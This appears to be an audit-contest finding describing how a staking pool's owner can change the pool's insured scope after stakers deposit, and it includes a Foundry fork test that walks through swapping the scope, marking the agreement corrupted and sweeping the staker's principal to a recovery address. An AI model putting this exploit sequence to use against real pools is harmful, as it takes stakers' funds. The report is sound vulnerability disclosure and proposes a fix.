FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Pool scope stays mutable after stakes are deposited, exposing staker principal to a coverage set they never consented to

Author Revealed upon completion

Description:

A staker's entire economic bet is defined by the pool's scope - the flat list of BattleChain accounts (_scopeAccounts) whose corruption determines whether the pool resolves CORRUPTED (staker loses principal) or SURVIVED (staker keeps principal + bonus). A rational staker deposits against a specific scope.

However, the pool owner (sponsor) can replace that scope after stakers have already deposited. setPoolScope is onlyOwner and is permitted whenever !scopeLocked:

function setPoolScope(address[] calldata accounts) external onlyOwner {
_observePoolState(); // may set scopeLocked
if (scopeLocked) revert ScopePostLockImmutable();
_replaceScope(accounts); // wholesale replacement
}

scopeLocked only seals once the registry is observed past pre-attack staging (any state other than NOT_DEPLOYED / NEW_DEPLOYMENT). Critically, stake() is also permitted in those same pre-attack states_assertDepositsAllowed only blocks PROMOTION_REQUESTED, PRODUCTION, and CORRUPTED. Therefore there is a real overlap window (registry in NOT_DEPLOYED or NEW_DEPLOYMENT) where stakes are accepted and scope is still mutable at the same time. A sponsor can wait for stakers to deposit against scope {A}, then call setPoolScope({B, C}) (completely different scope), silently replacing the coverage those existing stakers are now underwriting.

This directly contradicts the guarantee the protocol makes to stakers in its own documentation:

"Once locked, the pool's coverage is fixed even if the sponsor later expands the agreement — so post-stake additions to the underlying agreement do not extend this pool's coverage, and stakers' exposure is bounded by what they signed up for at deposit time."
docs/DESIGN.md §8

Per the code, a staker's exposure is bounded by the scope at lock time (ATTACK_REQUESTED / riskWindowStart), not at deposit time. Between deposit and lock, the sponsor can add accounts the staker never agreed to.

Asymmetric reliance protection. expiry freezes on the first stake() via the one-way expiryLocked latch, so once anyone deposits the sponsor can no longer move it - yet scope, which is more consequential because it defines what is insured and thus decides CORRUPTED (staker loses principal) vs SURVIVED, has no such first-stake latch and stays sponsor-mutable after deposits. The protocol therefore freezes the less consequential parameter (how long capital is locked) on the first stake while leaving the more consequential one (what the capital underwrites) mutable. Mirroring the expiryLocked pattern in stake(), or allowing only scope removals post-first-stake, closes the gap.

Scenario:

  1. Sponsor creates a pool for an agreement while the registry is in NEW_DEPLOYMENT, committing to scope {ContractA}, and funds an attractive bonus.

  2. A staker reads the on-chain scope {ContractA}, judges ContractA safe, and stakes a large principal against that specific coverage.

  3. While the registry is still in NEW_DEPLOYMENT (scope not yet locked, stakes already accepted), the sponsor calls setPoolScope({ContractB, ContractC}), adding a contracts the staker never evaluated or agreed to.

  4. The sponsor calls requestUnderAttack and the DAO approves it shortly after (possibly in the same block), so the registry reaches UNDER_ATTACK with little or no time spent in the withdraw-eligible ATTACK_REQUESTED phase. On the first pool interaction that observes UNDER_ATTACK, scopeLocked and riskWindowStart seal together, permanently disabling withdraw(). The staker - who never watched ScopeUpdated and had at most a brief, sponsor/DAO-controlled ATTACK_REQUESTED window to react - is now locked in against {ContractB, ContractC} with no exit.

  5. ContractB is corrupted in scope; the moderator flags CORRUPTED. The staker loses their entire principal to recoveryAddress, despite ContractA was the only contract they signed up for.

Impact:

  • Loss of staker principal on non-consented coverage. A staker who underwrote {ContractA} can be forced to underwrite {ContractB, ContractC, …} and lose their full principal to a CORRUPTED resolution triggered by an account they never agreed to insure.

  • Violation of an explicitly documented staker guarantee. The code does not bound exposure "at deposit time" as docs/DESIGN.md §8 promises; it bounds it at lock time, allowing post-deposit scope expansion.

Proof of Concept

  1. Create a test/fork/MutablePoolScopeAfterStake.fork.t.sol file

  2. Put the code below in the file

  3. Run BATTLECHAIN_TESTNET_RPC=https://testnet.battlechain.com forge test --match-test SponsorSwapsPoolScopeAfterStakeThenStakerLosesPrincipalToCorrupted -vv in the termnal

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {
ERC1967Proxy
} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {IAgreement} from "@battlechain/interface/IAgreement.sol";
import {IAgreementFactory} from "@battlechain/interface/IAgreementFactory.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {
AgreementDetails,
Chain as BcChain,
Account as BcAccount,
Contact as BcContact,
BountyTerms as BcBountyTerms,
ChildContractScope,
IdentityRequirements
} from "@battlechain/types/AgreementTypes.sol";
contract MutablePoolScopeAfterStakeForkTest is Test {
// Live BattleChain testnet (chainId 627) deployments.
address internal constant SAFE_HARBOR_REGISTRY =
0x0a652e265336a0296816aC4D8400880e3E537C24;
address internal constant ATTACK_REGISTRY =
0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address internal constant AGREEMENT_FACTORY =
0x2Bee2970f10FDc2aeA28662BB6F6A501278Ebd46;
// AttackRegistry.getRegistryModerator() at the pinned block: approves ATTACK_REQUESTED -> UNDER_ATTACK.
address internal constant REGISTRY_MODERATOR =
0x1bC64E6F187a47D136106784f4E9182801535BD3;
// AgreementFactory.getBattleChainCaip2ChainId(): accounts under this CAIP-2 id populate the
// agreement's BattleChain scope cache (what ConfidencePool validates against).
string internal constant BATTLECHAIN_CAIP2 = "eip155:627";
uint256 internal constant PIN_BLOCK = 17000;
uint256 internal constant ONE = 1e18;
address internal sponsor = makeAddr("sponsor"); // agreement owner == pool owner
address internal staker = makeAddr("staker");
address internal poolModerator = makeAddr("poolModerator");
address internal recovery = makeAddr("recovery"); // CORRUPTED sweep destination
address internal contractA = makeAddr("contractA"); // account the staker evaluated and consented to
address internal contractB = makeAddr("contractB"); // account swapped in post-deposit, never consented to
address internal contractC = makeAddr("contractC"); // account swapped in post-deposit, never consented to
ConfidencePoolFactory internal factory;
MockERC20 internal stakeToken;
function setUp() public {
try vm.envString("BATTLECHAIN_TESTNET_RPC") returns (string memory) {
vm.createSelectFork("battlechain_testnet", PIN_BLOCK);
} catch {
vm.skip(true);
}
}
function test_SponsorSwapsPoolScopeAfterStakeThenStakerLosesPrincipalToCorrupted()
external
{
// Stage 1: create a REAL agreement (via the live factory) covering both contractA and
// contractB. It is unregistered in the AttackRegistry, i.e. NOT_DEPLOYED for now.
address agreement = _createAgreement();
vm.prank(sponsor);
IAgreement(agreement).extendCommitmentWindow(block.timestamp + 8 days); // >= MIN_COMMITMENT (7d)
assertTrue(
IAgreement(agreement).isContractInScope(contractA),
"agreement covers A"
);
assertTrue(
IAgreement(agreement).isContractInScope(contractB),
"agreement covers B"
);
assertTrue(
IAgreement(agreement).isContractInScope(contractC),
"agreement covers C"
);
assertEq(
uint256(
IAttackRegistry(ATTACK_REGISTRY).getAgreementState(agreement)
),
uint256(IAttackRegistry.ContractState.NOT_DEPLOYED),
"agreement is pre-attack (NOT_DEPLOYED)"
);
// Stage 2: deploy the in-scope ConfidencePool stack and create a pool committing to scope {A}.
_deployConfidencePoolStack();
address[] memory scopeA = new address[](1);
scopeA[0] = contractA;
vm.prank(sponsor);
ConfidencePool pool = ConfidencePool(
factory.createPool(
agreement,
address(stakeToken),
block.timestamp + 60 days,
ONE,
recovery,
scopeA
)
);
// Stage 3: the staker deposits relying on the published scope {A}.
uint256 principal = 100 * ONE;
stakeToken.mint(staker, principal);
vm.startPrank(staker);
stakeToken.approve(address(pool), principal);
pool.stake(principal);
vm.stopPrank();
assertTrue(
pool.isAccountInScope(contractA),
"staker relied on scope {A}"
);
assertFalse(pool.scopeLocked(), "staking never arms the scope latch");
// Stage 4 (core bug): the sponsor replaces the pool scope AFTER the deposit. Registry is
// still NOT_DEPLOYED, so scope is mutable — the account the staker consented to (A) is
// dropped entirely and replaced with an unconsented set {B, C}.
address[] memory scopeBC = new address[](2);
scopeBC[0] = contractB;
scopeBC[1] = contractC;
vm.prank(sponsor);
pool.setPoolScope(scopeBC);
assertFalse(
pool.isAccountInScope(contractA),
"scope {A} the staker consented to was removed entirely post-deposit"
);
assertTrue(
pool.isAccountInScope(contractB),
"unconsented account B now defines the pool's coverage"
);
assertTrue(
pool.isAccountInScope(contractC),
"unconsented account C now defines the pool's coverage"
);
assertEq(
pool.eligibleStake(staker),
principal,
"staker's principal stays committed under the new scope"
);
// Stage 5: drive the REAL registry NOT_DEPLOYED -> ATTACK_REQUESTED -> UNDER_ATTACK -> CORRUPTED.
vm.prank(sponsor);
IAttackRegistry(ATTACK_REGISTRY)
.requestUnderAttackForUnverifiedContracts(agreement);
vm.prank(REGISTRY_MODERATOR);
IAttackRegistry(ATTACK_REGISTRY).approveAttack(agreement);
vm.prank(sponsor); // sponsor == attackModerator for this agreement
IAttackRegistry(ATTACK_REGISTRY).markCorrupted(agreement);
assertEq(
uint256(
IAttackRegistry(ATTACK_REGISTRY).getAgreementState(agreement)
),
uint256(IAttackRegistry.ContractState.CORRUPTED),
"agreement corrupted via the swapped-in scope {B, C}"
);
// Stage 6 (harm): CORRUPTED resolution sweeps the staker's full principal to recoveryAddress —
// caused by the unconsented scope {B, C}, none of which the staker agreed to insure.
vm.prank(poolModerator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
uint256 recoveryBefore = stakeToken.balanceOf(recovery);
pool.claimCorrupted();
assertEq(
stakeToken.balanceOf(recovery) - recoveryBefore,
principal,
"HARM: full staker principal swept to recovery"
);
assertEq(
stakeToken.balanceOf(address(pool)),
0,
"HARM: pool drained, nothing left for the staker"
);
assertEq(
stakeToken.balanceOf(staker),
0,
"HARM: staker recovered none of their principal"
);
}
function _deployConfidencePoolStack() internal {
ConfidencePool poolImpl = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImpl),
abi.encodeCall(
ConfidencePoolFactory.initialize,
(SAFE_HARBOR_REGISTRY, address(poolImpl), poolModerator)
)
);
factory = ConfidencePoolFactory(address(proxy));
stakeToken = new MockERC20();
factory.setStakeTokenAllowed(address(stakeToken), true);
}
function _createAgreement() internal returns (address agreement) {
BcAccount[] memory accounts = new BcAccount[](3);
accounts[0] = BcAccount({
accountAddress: vm.toString(contractA),
childContractScope: ChildContractScope.None
});
accounts[1] = BcAccount({
accountAddress: vm.toString(contractB),
childContractScope: ChildContractScope.None
});
accounts[2] = BcAccount({
accountAddress: vm.toString(contractC),
childContractScope: ChildContractScope.None
});
BcChain[] memory chains = new BcChain[](1);
chains[0] = BcChain({
assetRecoveryAddress: vm.toString(recovery),
accounts: accounts,
caip2ChainId: BATTLECHAIN_CAIP2
});
AgreementDetails memory details = AgreementDetails({
protocolName: "PoC Protocol",
contactDetails: new BcContact[](0),
chains: chains,
bountyTerms: BcBountyTerms({
bountyPercentage: 10,
bountyCapUsd: 0,
retainable: true,
identity: IdentityRequirements.Anonymous,
diligenceRequirements: "",
aggregateBountyCapUsd: 0
}),
agreementURI: "ipfs://poc"
});
agreement = IAgreementFactory(AGREEMENT_FACTORY).create(
details,
sponsor,
keccak256("poc-salt")
);
}
}

Recommended Mitigation:

Apply the same first-stake reliance latch already used for expiry to scope.

Freeze scope on the first stake - introduce a one-way latch (mirroring expiryLocked) set in stake(), and have setPoolScope revert once any principal has been deposited. This makes the documented "bounded at deposit time" guarantee true.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!